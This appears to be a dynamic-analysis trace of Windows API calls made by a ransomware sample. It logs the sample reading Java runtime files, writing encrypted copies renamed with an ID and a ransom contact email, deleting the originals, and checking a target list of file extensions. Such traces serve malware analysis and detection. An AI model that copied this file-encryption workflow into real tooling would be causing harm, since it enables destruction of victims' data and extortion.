	[0162.845] ReadFile (in: hFile=0x434, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.845] WriteFile (in: hFile=0x440, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xf0, lpOverlapped=0x0) returned 1
	[0162.845] SetEndOfFile (hFile=0x440) returned 1
	[0162.845] CloseHandle (hObject=0x440) returned 1
	[0162.845] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.846] SetEndOfFile (hFile=0x434) returned 1
	[0162.849] CloseHandle (hObject=0x434) returned 1
	[0162.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0162.850] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 1
	[0162.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0162.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0162.850] lstrlenW (lpString=".doc") returned 4
	[0162.850] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1
	[0162.850] lstrlenW (lpString=".docx") returned 5
	[0162.850] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1
	[0162.851] lstrlenW (lpString=".pdf") returned 4
	[0162.851] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1
	[0162.851] lstrlenW (lpString=".xls") returned 4
	[0162.851] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1
	[0162.851] lstrlenW (lpString=".xlsx") returned 5
	[0162.851] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1
	[0162.851] lstrlenW (lpString=".ppt") returned 4
	[0162.851] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1
	[0162.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0162.851] lstrlenW (lpString=".zip") returned 4
	[0162.851] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1
	[0162.851] lstrlenW (lpString=".rar") returned 4
	[0162.851] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1
	[0162.851] lstrlenW (lpString=".bz2") returned 4
	[0162.851] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1
	[0162.851] lstrlenW (lpString=".7z") returned 3
	[0162.851] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1
	[0162.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0162.851] lstrlenW (lpString=".dbf") returned 4
	[0162.851] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1
	[0162.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0162.851] lstrlenW (lpString=".1cd") returned 4
	[0162.851] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1
	[0162.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0162.851] lstrlenW (lpString=".jpg") returned 4
	[0162.851] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1
	[0162.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0162.852] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0162.852] lstrlenW (lpString=".doc") returned 4
	[0162.852] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1
	[0162.852] lstrlenW (lpString=".docx") returned 5
	[0162.852] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1
	[0162.852] lstrlenW (lpString=".pdf") returned 4
	[0162.852] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1
	[0162.852] lstrlenW (lpString=".xls") returned 4
	[0162.852] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1
	[0162.852] lstrlenW (lpString=".xlsx") returned 5
	[0162.852] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1
	[0162.852] lstrlenW (lpString=".ppt") returned 4
	[0162.852] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1
	[0162.852] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0162.852] lstrlenW (lpString=".zip") returned 4
	[0162.852] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1
	[0162.852] lstrlenW (lpString=".rar") returned 4
	[0162.852] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1
	[0162.852] lstrlenW (lpString=".bz2") returned 4
	[0162.852] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1
	[0162.852] lstrlenW (lpString=".7z") returned 3
	[0162.852] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1
	[0162.852] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0162.852] lstrlenW (lpString=".dbf") returned 4
	[0162.852] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1
	[0162.852] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0162.852] lstrlenW (lpString=".1cd") returned 4
	[0162.852] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1
	[0162.853] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0162.853] lstrlenW (lpString=".jpg") returned 4
	[0162.853] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1
	[0162.853] lstrcmpiW (lpString1=".ttf", lpString2=".Z9") returned -1
	[0162.853] lstrlenW (lpString="LucidaBrightRegular.ttf") returned 23
	[0162.853] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0162.855] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=344908) returned 1
	[0162.855] CloseHandle (hObject=0x434) returned 1
	[0162.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 0x20
	[0162.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0162.855] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0162.856] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.856] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.856] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0162.861] GetLastError () returned 0x0
	[0162.861] ReadFile (in: hFile=0x434, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x5434c, lpOverlapped=0x0) returned 1
	[0162.882] WriteFile (in: hFile=0x440, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x54350, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x54350, lpOverlapped=0x0) returned 1
	[0163.118] ReadFile (in: hFile=0x434, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.118] WriteFile (in: hFile=0x440, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x102, lpOverlapped=0x0) returned 1
	[0163.119] SetEndOfFile (hFile=0x440) returned 1
	[0163.119] CloseHandle (hObject=0x440) returned 1
	[0163.119] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.119] SetEndOfFile (hFile=0x434) returned 1
	[0163.129] CloseHandle (hObject=0x434) returned 1
	[0163.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0163.129] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 1
	[0163.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0163.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0163.130] lstrlenW (lpString=".doc") returned 4
	[0163.130] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0163.130] lstrlenW (lpString=".docx") returned 5
	[0163.130] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0163.130] lstrlenW (lpString=".pdf") returned 4
	[0163.130] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0163.130] lstrlenW (lpString=".xls") returned 4
	[0163.130] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0163.130] lstrlenW (lpString=".xlsx") returned 5
	[0163.130] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0163.130] lstrlenW (lpString=".ppt") returned 4
	[0163.130] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0163.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0163.130] lstrlenW (lpString=".zip") returned 4
	[0163.130] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0163.130] lstrlenW (lpString=".rar") returned 4
	[0163.130] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0163.130] lstrlenW (lpString=".bz2") returned 4
	[0163.130] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0163.130] lstrlenW (lpString=".7z") returned 3
	[0163.130] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0163.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0163.130] lstrlenW (lpString=".dbf") returned 4
	[0163.130] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0163.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0163.130] lstrlenW (lpString=".1cd") returned 4
	[0163.130] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0163.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0163.131] lstrlenW (lpString=".jpg") returned 4
	[0163.131] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0163.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0163.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0163.131] lstrlenW (lpString=".doc") returned 4
	[0163.131] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0163.131] lstrlenW (lpString=".docx") returned 5
	[0163.131] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0163.131] lstrlenW (lpString=".pdf") returned 4
	[0163.131] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0163.131] lstrlenW (lpString=".xls") returned 4
	[0163.131] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0163.131] lstrlenW (lpString=".xlsx") returned 5
	[0163.131] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0163.131] lstrlenW (lpString=".ppt") returned 4
	[0163.131] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0163.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0163.131] lstrlenW (lpString=".zip") returned 4
	[0163.131] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0163.131] lstrlenW (lpString=".rar") returned 4
	[0163.131] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0163.131] lstrlenW (lpString=".bz2") returned 4
	[0163.131] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0163.131] lstrlenW (lpString=".7z") returned 3
	[0163.131] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0163.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0163.131] lstrlenW (lpString=".dbf") returned 4
	[0163.131] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0163.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0163.131] lstrlenW (lpString=".1cd") returned 4
	[0163.131] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0163.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0163.131] lstrlenW (lpString=".jpg") returned 4
	[0163.131] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0163.132] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0163.132] lstrlenW (lpString="hijrah-config-umalqura.properties") returned 33
	[0163.132] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0163.132] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=13962) returned 1
	[0163.132] CloseHandle (hObject=0x434) returned 1
	[0163.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 0x20
	[0163.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0163.133] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0163.133] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.133] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.133] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0163.134] GetLastError () returned 0x0
	[0163.134] ReadFile (in: hFile=0x434, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x368a, lpOverlapped=0x0) returned 1
	[0163.136] WriteFile (in: hFile=0x440, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x3690, lpOverlapped=0x0) returned 1
	[0163.137] ReadFile (in: hFile=0x434, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.137] WriteFile (in: hFile=0x440, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x116, lpOverlapped=0x0) returned 1
	[0163.137] SetEndOfFile (hFile=0x440) returned 1
	[0163.137] CloseHandle (hObject=0x440) returned 1
	[0163.138] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.138] SetEndOfFile (hFile=0x434) returned 1
	[0163.140] CloseHandle (hObject=0x434) returned 1
	[0163.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0163.141] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 1
	[0163.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0163.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0163.141] lstrlenW (lpString=".doc") returned 4
	[0163.141] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0163.141] lstrlenW (lpString=".docx") returned 5
	[0163.141] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0163.141] lstrlenW (lpString=".pdf") returned 4
	[0163.141] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0163.141] lstrlenW (lpString=".xls") returned 4
	[0163.142] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0163.142] lstrlenW (lpString=".xlsx") returned 5
	[0163.142] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0163.142] lstrlenW (lpString=".ppt") returned 4
	[0163.142] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0163.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0163.142] lstrlenW (lpString=".zip") returned 4
	[0163.142] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0163.142] lstrlenW (lpString=".rar") returned 4
	[0163.142] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0163.142] lstrlenW (lpString=".bz2") returned 4
	[0163.142] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0163.142] lstrlenW (lpString=".7z") returned 3
	[0163.142] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0163.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0163.142] lstrlenW (lpString=".dbf") returned 4
	[0163.142] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0163.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0163.142] lstrlenW (lpString=".1cd") returned 4
	[0163.142] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0163.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0163.142] lstrlenW (lpString=".jpg") returned 4
	[0163.142] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0163.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0163.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0163.142] lstrlenW (lpString=".doc") returned 4
	[0163.142] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0163.142] lstrlenW (lpString=".docx") returned 5
	[0163.142] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0163.142] lstrlenW (lpString=".pdf") returned 4
	[0163.142] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0163.142] lstrlenW (lpString=".xls") returned 4
	[0163.142] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0163.142] lstrlenW (lpString=".xlsx") returned 5
	[0163.142] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0163.143] lstrlenW (lpString=".ppt") returned 4
	[0163.143] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0163.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0163.143] lstrlenW (lpString=".zip") returned 4
	[0163.143] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0163.143] lstrlenW (lpString=".rar") returned 4
	[0163.143] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0163.143] lstrlenW (lpString=".bz2") returned 4
	[0163.143] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0163.143] lstrlenW (lpString=".7z") returned 3
	[0163.143] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0163.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0163.143] lstrlenW (lpString=".dbf") returned 4
	[0163.143] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0163.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0163.143] lstrlenW (lpString=".1cd") returned 4
	[0163.143] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0163.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0163.143] lstrlenW (lpString=".jpg") returned 4
	[0163.143] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0163.143] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0163.143] lstrlenW (lpString="cursors.properties") returned 18
	[0163.143] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0163.146] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=1280) returned 1
	[0163.146] CloseHandle (hObject=0x434) returned 1
	[0163.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 0x20
	[0163.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0163.146] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0163.146] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.146] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.146] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0163.149] GetLastError () returned 0x0
	[0163.149] ReadFile (in: hFile=0x434, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x500, lpOverlapped=0x0) returned 1
	[0163.151] WriteFile (in: hFile=0x440, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x510, lpOverlapped=0x0) returned 1
	[0163.357] ReadFile (in: hFile=0x434, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
